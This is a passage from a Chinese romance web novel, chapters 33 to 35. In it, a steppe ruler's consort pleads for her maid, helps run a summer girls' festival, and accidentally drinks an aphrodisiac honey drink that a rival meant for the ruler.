赫连天林:“我骂他蠢,这种话也敢说出口。我要是敢掺和二哥的事,何必躲出去。我劝他,要想活下去,就别多想乱想。虽说家门够不幸,但我们起码出身赫连家,不缺钱,想当个纨绔子弟还是没问题的。”
穆凝姝好奇:“然后呢?”
赫连天林无奈道:“然后,我努力带他往纨绔子弟发展啊,吃吃喝喝,赌赌钱。他学东西特快,摇骰子一教就通,赌坊玩几天,他帮我赚了不少钱,我就奖励他,带他去逛歌舞坊,看漂亮小姐姐。”
穆凝姝捂住胸口,心梗道:“他才十二岁,有你这么教孩子吗?专门把人往歪了教?”
赫连天林道:“我也是为了他好,他小小年纪心思却多,万一没藏住,露出点杀心,二哥肯定不会放过他。不如学我,轻松点,及时行乐。贵族男子十三四岁当爹的一大把,他也说不上小啦。况且他长得高大,看不出才十二岁。舞女们见他俊俏,争着往上扑,不收他钱,可那小子居然跑了。”
穆凝姝擦擦汗,“跑得好,跑得好……”
赫连天林喝口茶,道:“后来许多年,我除了缺钱缺得急,很少回赫连部。再看到他时,他长大了,还混得挺有威望。阿煊是个天才,行军打仗特别厉害,是赫连氏年轻一代里的翘楚,草原部落间争夺凶猛,二哥不喜欢他,却不得不用他。人各有命吧,后来二哥死在他手里,因果循环。”
穆凝姝道:“你倒是看得挺开。族中大乱斗,你只当个旁观者。”
赫连天林道:“没办法。都是我的亲人,我能怎么办?只能由他们去,连阿煊登位时,我都没回来。眼不见心不烦。”
穆凝姝心中唏嘘,赫连家族内幕竟是这样。
亲生父母和叔父情杀凶杀;小叔跑路风流,还要带他风流逃避家仇;玛茹丝毫不顾他处境,纠缠不休。
难怪他为人冷情,说爱是贪欲,沉溺,嫉妒,愚蠢和失控。
这样的成长环境,他没疯,实属不易。
赫连天林看看穆凝姝,笑道:“阿煊性子孤僻,对女人没多大兴致。这趟回来,多出你这个侄媳,倒让我惊奇,听说他很宠爱你。我起初不信,不过现在看来,你为人温纯可爱,是挺招人喜欢。”
他想到赫连煊的冷漠脸,替亲侄儿美言几句:“阿煊前些天还夸你来着,说你贤惠大度。若阿素珊当真怀了他的孩子,你能这般体恤,非常难得啊。不愧是见过大世面的公主,有气概。”
“是吗……”穆凝姝愣了下,淡笑道,“也还好,是我分内之事。我和单于,机缘巧合在一起,算还合得来吧。就是不知道,他那样的人,有朝一日遇上心爱女子,会是何模样。”
赫连天林寻思道:“偏执得跟我那俩哥哥一样疯?或者像我一样热烈?再或者,爱江山不爱美人,你瞧他天天废寝忘食干正事,真不知奏折哪有美人们可爱。嗨,我猜不透。我这侄儿,本就少年老成,被我骂过一次后,越发不显山露水。侄媳,你不必担心此事。他能留你在他身边,至少是把你看作自己人。阿煊很有责任感,无论如何,不会亏待你。说不定,他就最喜欢你啦。”
“小叔真会哄人。难怪去哪儿都能讨女孩子喜欢。”穆凝姝笑笑,“我不担心。我知道他很好。”
十多里风雪路,步伐艰难,赫连煊也没把玛茹抛下。
舅舅舅母见风使舵,他只视作人性使然,未加怨恨。
作为君王,囿于政务,是百姓之福,感情淡漠些,处事反倒更公正冷静。
知晓赫连天林不靠谱,下禁令留人,让他对阿素珊负责。
连之前那点风流传闻,也只是赫连天林闹出的误会。
每了解一次,都发现他比她想象中更璀璨。
穆凝姝望着日光,深觉幸运。她爱上了一个很好、很好的人。
阿素珊出来晒太阳,赫连天林扶着她,倒茶拿点心,甚是体贴,对夫君和父亲角色适应极快。
谁瞧着,都得感慨一句恩爱眷侣。
哪里看得出前几日相见时,赫连天林压根记不起阿素珊这号人来。
爱情里的真真假假,太难分辨,莫说外人,连局中人,都不见得看得清。
但阿素珊此刻脸上的笑容,做不得假。
温柔,和煦,望着他的双眼,皆是爱意。
明知两人对待彼此的心意不公平,仍旧无法自抑。
* * *
穆凝姝自觉退位让贤,去张奉景处转转,交流下最近的行医心得,虽然一个行人医,一个行兽医。
两人没说几句,一溜人朝医帐中赶来,手中抬着担架,乌琪躺在上头,捂住肚子,面色惨白,汗水泪水一齐流。
穆凝姝大骇,跑上前检查她的伤势,“这、这怎么回事?乌琪你又跟谁打架了?”
送乌琪过来的侍女们脸色尴尬。
穆凝姝猜测:“难道是玛茹欺负你?我找她去。”
全王庭都知道乌琪是她的人,光天化日之下,也只有玛茹够胆做这事。
鸿门宴之后,赫连煊下过令,不准耶律家的人来找她,最近他回来了,玛茹更找不了她晦气,就找乌琪?若是如此,她绝不会放过玛茹。
乌琪拉住她,道:“不是玛茹。是单于……单于打的。”
穆凝姝惊呆。
赫连煊打乌琪?
看来此事不一般。
她屏退众侍女,只留张奉景给乌琪看诊。
乌琪平复呼吸,缓缓道:“你让阿香给单于送点心,她临时肚子疼,我替她去了,帐中只有单于一人,我一看,好机会,就——”
穆凝姝抖了抖:“就如何?”
乌琪歇口气,道:“我想,他不是喜欢我嘛,就直接脱了衣裳,绵软身子贴上去……”她再度哭得发咳,“结果,他头发还没碰到,我就被他一脚踹上天,好痛啊——”
穆凝姝捂脸,痛苦道:“乌琪,你真是专挑大篓子捅。这么要命的事,你都不提前跟我们商量下?”
踩点小天才,赫连煊讨厌什么她正中什么。
乌琪呜呜道:“我也是着急嘛。再说,他喜欢我,我也有点喜欢他,男女间,不就该这样?”
近来多事,玛茹家闹腾过后,阿素珊突如其来,虽说证实为误会,乌琪却深感焦虑,为好姐妹忧心。
这回阿素珊是假的,难保下次不来个真的。
穆凝姝体量纤瘦,许久不孕,或许是身子骨太虚。乌琪思来想去,决意主动出击,她身子骨强壮,说不定很快能怀上,挣个姐妹俩稳定前途,有了孩子当倚仗,日后即使失宠,也能母凭子贵,锦衣玉食。
上回穆凝姝精心设计春月节,她不小心放了赫连煊鸽子。最近繁殖季,穆凝姝很忙,她不想再拿这事打扰,刚好遇到机会,心一横,干脆自己直接上。
按她设想,之后该朝卿卿我我发展,谁知赫连煊完全不解风情。
张奉景检查完身子,道:“只是肋骨断了两根,还好。赫连煊若是全力踹你,你五脏六腑必定保不住。你啊,做事莽撞,活该。单于如此怜香惜玉……”他忍不住笑了下,“还喜欢他吗?”
乌琪面如死灰,赫连煊一脚踹死了她萌动的春心,只剩忧伤。
她大哭道:“不准笑。你们也别骂我了,赫连煊要流放我去敕加利亚挖山药。凝姝,你救救我。我不想去啊。”
敕加利亚为敕加一族发源地,天寒地冻,现在这时节,到处春暖花开,那地方却还飘着雪。乌琪一个小姑娘,流放到那里,活不过两年。
穆凝姝认命起身。
乌琪拉住她的手,“对不起啊凝姝,帮不到你还给你添麻烦。单于生气好可怕,你去求情会不会影响你们感情啊?”
穆凝姝幽幽道:“那就让你去敕加利亚挖山药?”
乌琪默默放开手,给她整理下袖口,道:“你还是去吧。感不感情的好像也不是很重要。我不要去挖山药呜呜呜——快救救我——”
穆凝姝:“……”
* * *
前线事忙,赫连煊这几天经常通宵达旦处理军务,直接住在王庭隔间中,没回寝帐。
穆凝姝自觉不去打扰,偶尔让人送些补品点心。乌琪的事闹成这样,她只得亲自跑一趟。
行至帐门,札木尔正好出来,看到穆凝姝,他眼睛一亮,救星来了。
赫连煊心情不好,弄得大家人心惶惶,战战兢兢。
札木尔见穆凝姝在外踱来踱去,催促道:“阏氏快进去呀。单于在帐中。”
穆凝姝犹豫道:“帐中还有其他人吧?我不急,我可以在外等等。”
札木尔低声道:“您行行好进去吧,那俩哥们儿已经被骂了好一会儿。你进去,正好让单于消消气,救救他们。”
穆凝姝一听,越发不肯挪步,札木尔太高估她。她哪有本事让赫连煊消气。况且,她还是去给调戏他的女流氓乌琪求情,恐怕只会让他更生气。
她找个马扎坐在门口看天上浮云。
等上好一会儿,里面俩武将出来。灰头土脸,满脸颓丧。
她擦擦汗,做好挨骂准备,起身进去。
步伐静悄悄,躲在屏风后,猫猫探头。
第33章 第 33 章 33喜欢
“来都来了, 躲在那里做什么。”赫连煊批阅奏章,头都没抬,语气不善。
穆凝姝眨巴下眼睛,笑盈盈, 软声道:“怕大单于踹我一脚呀。”
她知道他在生气, 也知道自己该战战巍巍装可怜, 可一看到他, 就克制不住心中的欢喜,嘴角的笑意。
好没出息啊。
但有什么办法呢。
以前她觉着“少女怀春”一词俗气。现在却觉,喜欢着一个人,确如心中揣着个三春盛景,爱意如草原野花蓬勃生长, 繁盛得一簇簇往外冒。
神明压不住春天, 她也压不住看到他时,喷薄而出的好心情。
赫连煊朝她看去,道:“过来。”
她走出屏风,款款而来,停在他身侧半丈处,离着点距离,笑道:“单于大人明鉴,本公主自觉止步, 绝无冒犯之意——欸——”
失衡感突如其来,她被他拽到怀中。
赫连煊很喜欢拽她坐他腿上。
这人真怪,姑娘们扑他, 他生气,自己却己所不欲,偏偏施于人。
也不知, 是不是他十二岁时,被舞女姐姐们吓出了逆骨,非得以此找回男人的场子。
想到小赫连煊落荒而逃的场面,就觉得可爱。
穆凝姝微调下姿势,找个更舒服的角度,软软靠在他身上,玩他的头发。
褐色长发在她手中蜿蜒,熟悉的清淡松香隐隐约约。
他不在的时候,她住在他帐中,熏着同样的香,却总觉得差点什么。
她想起乌琪曾告诉她的草原谚语,“鼻子会帮你找到合适的爱人。”
是了,缺的是他的味道。
只要他在,无论是草木香、花香、还是下雪后的冷冽空气,都变得格外好闻。
赫连煊一手圈着她,另一手批阅奏折不耽误,道:“你的侍女背着你,以送点心为由,妄图勾引孤,你对此有何看法?”
穆凝姝道:“何必说得这么难听……乌琪不是侍女,她是你的阏氏,做这种事,也算情理之中。当然,这回她肯定大错特错。胆大包天,怎能如此唐突大单于。该慢慢来才是。”
赫连煊顿住,挑眉道:“慢慢来?”
“是呀。大单于洁身自好,若高山雪莲,自是轻薄不得。”穆凝姝先吹捧,再求情,“不过乌琪并非有意轻薄,她对你爱慕已久,却久久不得,一时情急才铸成大错。您身为国君,也是她夫君,就免了她的流放刑罚吧,她肋骨断了两根,很可怜的。”
笨蛋乌琪,太操之过急。
她花了数月,才能跟如现在这般,跟赫连煊沾沾边。乌琪直接脱衣裳扑,没被当成刺客砍死算她命大。
赫连煊神色变冷,“孤搬来这里多天,你没见人影,现在特意过来,就是专程为她求情?”
穆凝姝随手取他一簇头发,编出条松松的麻花辫,道:“你忙得很,我何必来讨嫌。自是有事才过来。乌琪这事不全怪她,也赖我忘性大,没及时替她打算。”
赫连煊越听越不对。
他不动声色,三言两语引得穆凝姝将春月夜之事,以及近来计划的二度献舞和盘托出。
难怪春月夜那晚,他隐隐感觉,她神情言语皆显慌乱。
明明说过“有惊喜”,却前后言行不一致,仅仅拿月色搪塞。
原来,乌琪才是她给他准备的惊喜。
听她的意思,今日即使乌琪不来,她也会亲自挑个良辰吉时,给他进献佳人。
赫连煊面色黑沉,冷声道:“穆凝姝,你把孤当什么,你们姐妹间随意送来送去的人情?”
穆凝姝愣住。
糟糕,他误会了。
他性子强势,位高权重,哪里肯让人充当人情。
她解释道:“不是的。我只是想让你开心。我——”
赫连煊听不下去,“你觉得孤现在看上去开心?好,行,不妨更开心点。”
见他抬起手,穆凝姝缩成一团,死死搂住他的腰:“说好了不踹的!坏男人才家暴,我、我会哭的。你最讨厌女人哭了所以不要惹我!我真的会哭哦——”
赫连煊将她扯下来,按到桌上,双腿夹住她的腿,单手反绞住她双手手腕,扣在头顶上,死死盯住她。
猎物彻底被猎人控住。
仰躺着,动弹不得,任他施为。
他低头,唇停留在她脖颈边。
想咬她。
一口、一口撕咬出她血肉,她的心,看看里头到底装着什么货色。
必定,
血是冷的,
心是黑的。
* * *
一炷香后,穆凝姝被扔出王帐。
札木尔望着她,目瞪口呆,“凝姝阏氏,你、你的脸……”
穆凝姝爬起来拍拍身上的草屑,摸了下,朱红已干,蹭不下来。
她放弃挣扎,淡然道:“看什么看,恋人间的情趣。大惊小怪。”
札木尔颤抖道:“是吗……单于这么有情趣?我竟从不知道。”
穆凝姝语重心长,道:“小扎啊,谈过恋爱没?没谈过?那得赶紧谈谈啊。你天天只知道工作和加班,很容易落伍的,久而久之,察言观色功力也会下降,还有打一辈子光棍的危险。你看,单于谈了恋爱就是这么有情趣,如今草原上的姑娘都喜欢这么玩……”
忽悠得札木尔忧心忡忡,穆凝姝飘然逃走。
跟赫连煊混久了,她胡说八道功力见长。
回到帐中,对镜一看。
好好的脸,双颊和额头拢共顶着三只朱笔画的大王八。
她“噗嗤”笑出声,打来盆清水,边洗边笑。
感觉自己疯了。
连他这么作弄她,她都只觉他幼稚得可爱。
问题很严重啊,她对赫连煊的喜欢,完全失去了底线。
* * *
托三只大王八的福,赫连煊没再提流放之事,也未让人前来押送乌琪。穆凝姝这边自然心照不宣,闭口不提,期待就此翻篇。
明媚少女乌琪被赫连煊一脚踹出忧伤,天天躲在帐中自闭,躺床上养伤,让侍女念话本子给她听。等伤好后,打算如从前那样,只在马场做事,不跟在穆凝姝身边,免得碰到赫连煊。
现在一想到赫连煊,乌琪就肋骨剧痛,自尊更痛,彻底变成一只废琪,道:“反正有你养我。话说,我这个算工伤吧?肯定得算吧?”
穆凝姝义气道:“当然算。”笨蛋下属肋骨都断了两根,不能让她流血又流泪。
“那就行。以后我就指望你了。”乌琪高兴,躺平得更加心安理得,又骂道,“哼,赫连煊,我之前瞎了才对他有好感。谁喜欢他谁大傻子,我以后再也不想看到他。”
穆凝姝:“……你开心就好。”大傻子在这儿呢。
张奉景默默看戏,笑道:“乌琪这么想也好,省得一言不合就惹出大事。她这边我看着,你不用操心。姑娘节在即,如今后宫你主事,又有得忙。”
说罢,他眼中促狭,靠近她低声揶揄:“唉,乌琪说得没错……大傻子。”
塞北不同于中原,这里冬长夏短,夏季是一年中最好的时节,草原处处青绿,姑娘们穿上鲜艳飘逸的裙子,化作万绿丛中一朵朵靓丽的鲜花。
姑娘节定在夏季,是相亲的好日子。
冬季那会儿,赫连煊登位后的选秀,是收继上一任单于的所有妻妾,说难听点,全是旧人,没什么选择余地。
这次的姑娘节,才是重头戏。
届时,各个附属部落进献正当龄的漂亮公主们,来此过节。大单于看上谁,就此留下。没被看上的,只当来玩儿一趟,比选秀落选好听得多。
佗佗揶揄她是傻子,不难理解。
身为后妃,真心实意爱上注定拥有无数妃嫔的君王,她不傻谁傻。
穆凝姝望向窗外湛蓝晴空,道:“是啊,我是大傻子。但又有什么办法呢。”
当一个人过于美好,爱不爱上他,她哪里控制得住。
爱若能收放自如,就不叫爱。世间也就不会有数不尽的痴男怨女。
从前和莫勒钦在一起时,她太迟钝,失去他后,才发觉没有他的世界,灰暗阴沉,时时刻刻心上都仿佛坠着思念的枷锁。
上天格外眷顾她,才让她遇到赫连煊,缓缓复苏。
赫连煊说爱是负面,可她却觉得,因为对他的这份爱,她在变得更好。
这份爱意让她饱满,让她每次想到他、看到他,都觉生命竟能如此明媚。
她只想做好该做的事,珍惜与他在一起的每一刻。
* * *
姑娘节不止是单于选秀。王庭这边,聚集着各族各部最光耀门楣的年轻男贵族,文臣武将皆有。落选的姑娘们若是趁此机会,找到个情投意合的有为青年,也能成就一段好姻缘。
所以每年的姑娘节,都办得极盛大。少男少女们齐聚草原,嬉戏玩闹。
往年穆凝姝都是旁观,今年却得直接上手负责。赫连煊对朝政以外的事,向来不上心,用他的原话说:“钱孤管够,你随便支取。事情孤不管。你看着办,不用请示孤。办了就行,好不好无所谓。”
倒是个极好伺候的上司。
不过这是他登位后的第一次姑娘节,事关脸面,穆凝姝想尽善尽美,让大家都知道赫连部在他的带领下,繁盛更盛从前。
她找来雅曼帮忙。
雅曼之前操持过姑娘节,有经验,此事进展顺利。
待节日来临,各部族公主陆续到来。
小姑娘们难得有机会凑在一块玩儿,开心欢腾,有些好朋友部落间离得远,每年就指望着姑娘节相聚。
穆凝姝作为东道主阏氏,每天都在会场,小姑娘们见她年纪相仿,拉着她一起玩。
此选秀不同于上回,姑娘们不用挨个自我介绍。
节日期间,有很多赛马、射箭等游戏,足够姑娘们一展风采,让单于和其他贵族男子们大饱眼福。
跟同龄姑娘们聚在一块儿格外有趣,穆凝姝玩得高兴,深觉赫连煊的话在理,煮饭刺绣劳心费神,远远比不得骑马游戏,她从前当女仆当惯了,竟是连玩乐都不会。幸亏他教会她骑马,否则真不知要错过多少乐趣。
陪着女儿过来选秀的年长阏氏们,纷纷注意到穆凝姝。印象中,中原女子该是腼腆娇弱,这个阏氏外貌柔美,性子倒十分活泼,跟草原姑娘们玩得来。
阳光下,她肌肤晶莹剔透,粉面桃腮,不见丝毫瑕疵。
阏氏们窃窃私语,听说此女目前最得赫连煊欢心,这次节日都让她筹备。
“性子这般开朗,一看就是家里娇宠长大的。姜国人宠女儿跟咱们也没区别嘛。”
“她来塞外后还这么娇嫩,可见赫连煊会疼人。先前只听单于到处打仗,我还担心我女儿嫁过来受罪。”
“我看你想多了,单于要不要你女儿还说不定呢。这几天就没怎么看到他人影,没准儿人家对凝姝阏氏正在兴头上,懒得搭理你女儿。”
“你不会说话就闭嘴——”
……
众人这边聊着穆凝姝,七嘴八舌。
看台主帐中,赫连煊单手撑头,目光也随着那抹浅蓝身影流转。
她惯爱穿浅淡衣裳,按理说,该淹没在一众鲜裙艳裳的女孩子中。
偏偏他一看到她,就再瞧不见半点儿旁人颜色。
姑娘们在比赛套圈,看谁套得准。
穆凝姝连连中圈,神情骄傲,朝旁边看热闹的阿素珊得意地挑眉笑。
活泼灵动,生机盎然。
比他从前见过她的所有模样,都要好看。
札木尔眺望穆凝姝,又看看身旁目不转睛的赫连煊,笑道:“单于,你看凝姝阏氏那个表情,跟你好像啊。”
赫连煊没转头,依旧看着她,道:“像吗?”
札木尔笃定道:“像啊!你自己没法儿看自己,我天天看我最知道。特别像,那股劲儿,一个模子刻出来的。你刚登位时,她不是这样。我记得清清楚楚,那会儿她乖顺内敛得多。阏氏现在可坏啦,上次吓唬我找不到老婆,要打一辈子光棍。你再不管管,小心她变成第二个玛茹。”
第34章 第 34 章 34饮蜜
像他吗?
赫连煊唇角勾出点笑, 饮茶眺望,对幽怨的札木尔视若无睹。
场上热闹还在继续。
下一场,姑娘们比赛抓羊。一块块羊皮分散在草地上,姑娘们骑马的同时捡起羊皮, 谁骑得最快, 捡得最多, 谁就是赢家。
此活动激烈, 每次都是各大节日的重头戏,延伸出了赌马传统,大家会给看好的选手压注,真金白银。
公主们虽对金银珠宝司空见惯,但穆凝姝身上的发饰首饰, 皆为珍品中的珍品, 是个女孩都眼馋,便各耍各的小心机,或拍马屁鼓励,或冷嘲热讽激将,拨弄得穆凝姝晕乎乎上场参赛。
玛茹也参加了此局,她马术颇好,不少人压她嬴。
一众公主选手中,呼延芙缇娜最受期待, 面前的赌注堆得跟座小山似的。
其他公主都是来自附属于赫连部的其他部落,类似藩王之女。呼延芙缇娜却不同,她来自祯跶部。
草原上, 祯跶部、赫连部、以及须卜部,鼎足而立,为草原上实力最强大的三个国家, 各自拥有庞大的附属部落。另有些独立于这三大部落的小国家,平日里不起眼,夹缝中过自己的小日子。
当年赫连煊就去了祯跶部当质子。
芙缇娜是呼延部公主,被祯跶王收为义女,亲封为祯跶公主,因此地位比赫连部附属国公主们高出一等。她姿容秾艳,有祯跶第一美人之称。
此次芙缇娜过来,作为祯跶部使臣,由赫连煊亲自接见过,其他公主无此待遇。
据说她骑术了得,有她在,很多公主都不敢上场,干脆直接压注她赢。
穆凝姝面前的压注,空空荡荡。莫说跟芙缇娜比,她连玛茹都比不过。
她把全身上下值钱的东西都取下来,全压自己。
既然参加,输人不输阵。
人家那边亲友团热闹,穆凝姝看向自己身旁。
张奉景友情赞助一支玉簪。阿素珊取下所有首饰,义气全压。
穷得想去要饭的赫连天林压上一枚铜板,聊表心意。
雅曼扭头走向芙缇娜,压上几注,笑道:“我一老母亲,守寡养小福宝,输不得。赌场如战场,不讲感情。”
赛事开始,芙缇娜如一团烈焰之箭,哨声一响,瞬间离弦。欠身倒挂时,速度不减,迅速捡起羊皮回位,一套动作行云流水。
其他公主纷纷追赶,各有看头。
但最大的看头却在穆凝姝这里。
她为了跑得快,特意牵来绝影,没想到绝影上战场是一绝,在这种小游戏上未经训练,驮着穆凝姝狂跑,她根本无法捡羊皮。
好不容易让绝影停下来,又因为它身量太高,穆凝姝弯腰都够不着地面。
她没专门练习过这项游戏,哪怕马停着,她都不敢像其他公主们那样,以腿勾住马腹,悬空去捡。
万一掉下去,脖子摔断,就是个死。
别人早已跑得老远,她们一人一马行进不足百米。
绝影彻底被穆凝姝指令弄晕,干脆在原地绕圈圈,呆呆笨笨。
看热闹的人群笑声越来越大。
精彩的比赛年年有,尴尬成这样的失误可不多见。
穆凝姝想直接下场,绝影却见人多,无比兴奋,自顾自乱蹦跶,晃得她晕头转向。
她脸上发烫,好尴尬,好丢人。
视线中忽然多出道身影。
赫连煊朝她走来,拉住缰绳,一巴掌拍到绝影鼻子上。
亢奋的眼神瞬间清澈。
他坐到她身后,控住绝影,慢悠悠朝前走。
穆凝姝惊讶,“你怎么来了?”
赫连煊道:“你马术是孤教的。徒弟丢人丢成这样,师父只好来救救场。”
穆凝姝嘴硬:“丢也是丢我自己的人。我又不会告诉别人是你教我的。这点义气,我有。再说,这个和马术不一样,你没教过。我学东西可快了,若是训练过,肯定不至于这么难看。”
“公主说是就是。”赫连煊看到她耳尖红得滴血,轻笑提醒道,“前面有羊。捡吧。”
他停下来。
穆凝姝没动,犯难道:“试过了,够不着。”
赫连煊抬腿压住她的腿,单手搂在她腰间,“侧身下去捡,孤在这,摔不到你。”
她闻言欠身,捞起一块羊皮,起身扭身朝向他,高兴道:“捡到啦。”
“嗯。”他声音很低,金黄双眸中带着点笑意。
穆凝姝小声道:“这样慢吞吞,也拿不了名次啊。倒是更丢人了。”
赫连煊心态良好,挑眉道:“无所谓,今年只当练习下。至于丢人,他们算老几,孤爱怎么慢,就怎么慢。前面有羊,继续。”
穆凝姝垂眸抿笑,躲开他的视线,欠身专注捡羊。
偏帮的任性大单于太可爱,惹得她心底本就繁盛的鲜花疯狂生长,整个夏季草原所有野花加起来,都比不上她此刻的心花怒放。
方才喧闹的看客们纷纷对眼神,心照不宣。
节日盛会已持续五日,单于忙得很,只偶尔在看台那边晃下,没亲临过赛场。今天不仅来了,竟还有如此举动。
黑色骏马背上,单于年轻俊美,悉心搂着怀中佳人,慢悠悠晃荡,让她捡羊皮,显然是专程过来解围,外加陪宠妃玩玩。
草原上的宠妃一茬接一茬,年长阏氏们见多识广,却也没见过这种。她们带小孩子玩儿,都不如单于待这宠妃细致,更别提她们的糙爷们儿夫君。
阿素珊看得羡慕,磕到了。
赫连天林神色凝重,这还是他那永远死人脸的亲侄儿吗?这样温柔的笑意,赫连煊从未对他这小叔展露过。没想到,亲侄儿泡妞手段竟比他还高,深藏不露啊。
张奉景啧啧摇头,完了,大傻子沦陷更深了。
雅曼心理失衡,赫连煊虽讨厌,却着实貌美……且年轻。穆凝姝谈个这么身强体壮的,她却只伺候过老头。此地青年才俊众多,她左顾右盼,深觉应当弥补下遗憾。
穆凝姝毫无疑问落了个倒数第一。
赫连煊随她去赌桌,将她那点细软首饰赎了回来,另让人拿来珠宝赏银,双倍打赏,赢者有份。
除了雅曼。
阿素珊等压注穆凝姝的人,东西一一拿回,也另行赏赐。
雅曼:“……”每天都更讨厌赫连煊。
穆凝姝抱着一堆首饰,凑近赫连煊,低声道:“这样收回来真的可以吗?赌场还能这么玩?”
下棋讲究落子无悔,赌场当然得愿赌服输。
赫连煊随意拿起支簪子给她插上,道:“孤说可以就可以。”
她的东西,他不喜欢出现在旁人身上。
赫连煊赏赐的珠宝等物,皆为精品,款式虽比不上凝姝阏氏那些东西特别,公主们也爱不释手,高兴之余却难免泛酸。
即使不提王位和荣华富贵,仅凭出挑容貌和年少成名的才干胆识,赫连煊也足够令人心动。随意同他沾点边,便能得如此厚待,若是给他当妃子……看看穆凝姝,便知何谓羡煞旁人。
* * *
上午一切有条不紊,下午却突发事端。
赫连煊除了来陪宠妃玩了会儿,其他时候连人影都难见到,偶尔遇上,神色也冷淡疏离,交流仅限于行礼问安。几个胆大的公主贸然明示暗示,碰过一鼻子灰,心灰意冷。
其他公主见之,心里有数,干脆拾掇拾掇情绪,把目光投向其他贵族才俊。
大单于这边尚未引发争风吃醋,倒是赫连天林惹出了大乱子。
此番过来的公主里,竟有几个赫连天林的旧相好。见到他后,先是纷纷揪住他算账,联合动手揍他,后来不知赫连天林如何巧舌如簧,挑拨得几个公主争风吃醋,相互大打出手。
穆凝姝带人劝架拉架,还得让佗佗注意盯住阿素珊,生怕她气到早产。
场面乱七八糟,直至黄昏,总算把那群哭哭啼啼的公主们安抚住,送回各自毡帐。
赫连天林却跟没事人一样,毫无悔意,得意感慨自己太有魅力。
穆凝姝拿他没办法,跑去看台后的主帐中找赫连煊,想让他收了这妖孽。虽是临时搭建用以休息的毡帐,里头东西却齐全,赫连煊来这边时,常在此帐中。
她进去,边走边道:“赫连天林该改名叫赫连天灾,你这小叔真是不得了……单于——人呢,不在吗?”
几个隔间看遍,都没找到人。
穆凝姝坐到桌边,随手拿起杯水喝。
甜丝丝,冰冰凉凉,还怪好喝的。
好像是蜂蜜。
整整一下午,她忙得连口水都没喝上,此时一沾水,才觉口干舌燥。
咕噜噜几口,饮尽整杯。
旁边还有一杯。
她拿起来,继续喝。
估计是侍女给赫连煊准备的蜂蜜水。他不爱喝甜的,她帮忙全喝掉吧。
“你做什么!”玛茹冲进来,一把夺走她手里的杯子,朝里头一看,空的。桌上另一杯,也空了,怒道,“你干嘛喝这个,谁允许你喝的!”
“这是你弄的?就喝了你两杯蜂蜜水,至于这么吼嘛……”穆凝姝自知理亏,但喝都喝了,又吐不出来,况且也不算大事,“我赔给你就是。等会儿我让人给你送十坛蜂蜜过去。”
玛茹不依不饶,仍旧生气,骂骂咧咧。
穆凝姝静默以对,垂着脑袋,踢地上的地毯,谁叫她喝了人家东西呢,只能挨着等她消气了。
“又吵什么?声音大得在外面都听得到。”赫连煊进来,眉头微蹙,看向穆凝姝,“玛茹又找你麻烦?”
穆凝姝解释:“没有没有。这次是我不好。我喝了她的蜂蜜水。我不知道是她的……”
赫连煊看向玛茹,道:“一点蜂蜜水罢了。孤等会儿让人给你搬去十坛。不要再闹。”
“才不是蜂蜜水的问题!”
玛茹被两人默契的十坛气得更厉害。
这水……这水是她特意准备给自己和赫连煊的……
玛茹没办法说出实情,神情越发烦躁,直言赫连煊偏心,不问缘由就偏帮。
穆凝姝趁她跟赫连煊闹腾,静悄悄遁走,溜回王帐休息。
终于清静了,吵得她耳朵疼。
忙忙碌碌一下午,衣裳汗得黏黏糊糊。
她让侍女们打来水,好好泡个澡。
因天热,她特意让侍女们打的温水,不料却越洗越热。
洗完后,她披上薄薄的蚕丝睡袍,拿扇子扇风,燥热不减反增。
莫非是风寒发热?
出太多汗,被风吹着了,或洗澡时水温不够热?
“赫连煊……”穆凝姝本能想找他,又觉不对,喃喃道,“病了应当找大夫,他又不是大夫……”
她让阿香去叫佗佗,有病得赶紧治。
这场风寒甚是诡异,猛烈异常。
她口干舌燥,晕晕乎乎拿起床头茶壶,直接对着嘴灌水。
第35章 第 35 章 35救我
这感觉, 非常不对劲。
体内仿佛有烈焰燃烧,每一寸皮肤都在痛。
自己好似一只劣质瓷器,在窑炉中炙烤,随时会炸裂成碎片。
穆凝姝大半壶茶水灌进去, 身子却像漏水的破桶, 额头上、背脊后, 源源不断渗出汗珠, 浇灭不掉体内那股燥热。
茶壶里的水全没了。
她想起身,却发觉浑身无力,尤其是双腿,完全感觉不到其存在。
但口干舌燥的滋味,迫使她伸出手, 努力够来桌上一只蜜桃。她艰难捧到嘴边, 却连大口咬的力气都没有。只能咬破一小处缺口,慢吞吞吮着。
帐门那边隐约传来动静,终于来人。
赫连煊走进寝帐处,瞳孔骤缩。
穆凝姝裹着件单薄睡袍,上半身尚在榻上,一双莹白长腿却垂至地上,脚尖处落着只茶壶。
衣裳不知是被茶水还是汗水浸洇过,湿哒哒贴在肌肤上。
纤细身躯斜倚床榻, 柔如柳枝,身姿妩媚近妖,她表情却全然懵懂, 双手捧着只蜜桃,面颊雪白透粉。
她夏天的衣物全是姜国献来的上等丝绸,轻薄细腻, 一遇水就化为半透,底下肌肤,亦是微带绯红。
整个人莹白淡粉,竟胜过那南方来的蜜桃。
“佗佗……”穆凝姝朝他喊。她晕晕乎乎,没看清人,以为是阿香请来的张奉景。
“看清楚,是孤。”赫连煊被她这声叫唤拉回神,走上前去,坐到榻上,将她的脸调转过来,正对他。
穆凝姝愣了下,道:“啊?那、那你快离我远些。”
赫连煊不悦。
为何是他,就得离远些。她现在这副模样,哪里能让外人看。
穆凝姝努力保持清醒,轻轻抬手推他,掩住口鼻道:“怕是外来公主们带的什么疫病,我染了,别再传给你。我要看大夫,我好难受——”
原来以为是疫病才要他走。赫连煊心间那点不悦,烟消雾散。
“不是疫病。”他拿开她手中的桃子,扔去一边,“公主,你中药了。你喝了合欢蜜。”
合欢蜜?
这名字一听就知道是什么鬼东西……
穆凝姝想起方才在看台帐中,喝下的两杯甜水,欲哭无泪。
玛茹真是什么都敢做,竟敢拿那种下流东西算计赫连煊。
既是有意算计,下的药必是分量十足。她阴差阳错喝掉了,还喝了两杯,难怪会这么大反应。
燥热未退,浑身又如万千蚂蚁咬啮,越来越难捱。
穆凝姝抬眸看去,赫连煊站在榻旁,居高临下,望着她。
两人眼神交汇。
她垂下眼。
怎么办。
她自己乱喝东西,中了这种药。
乌琪的两根肋骨,可还没长回去。
血的教训,尚且历历在目。
旁人或许不知,她却心知肚明,他对她没有男女之事上的意思,同她之间,一向井水不犯河水。
起初那会儿,宁愿面壁而眠,也不愿碰她。
良久,穆凝姝再度抬眸看向赫连煊,一手支起身体,另一手缓缓伸出,轻轻勾住他一根手指。
力气几近于无。
只要他微微躲开,她不会有力气,也不会有勇气,再尝试第二次。
“求你……救我……”
她轻声极轻。
赫连煊眸光暗沉,背在身后的手,摩挲着一只小瓶子。
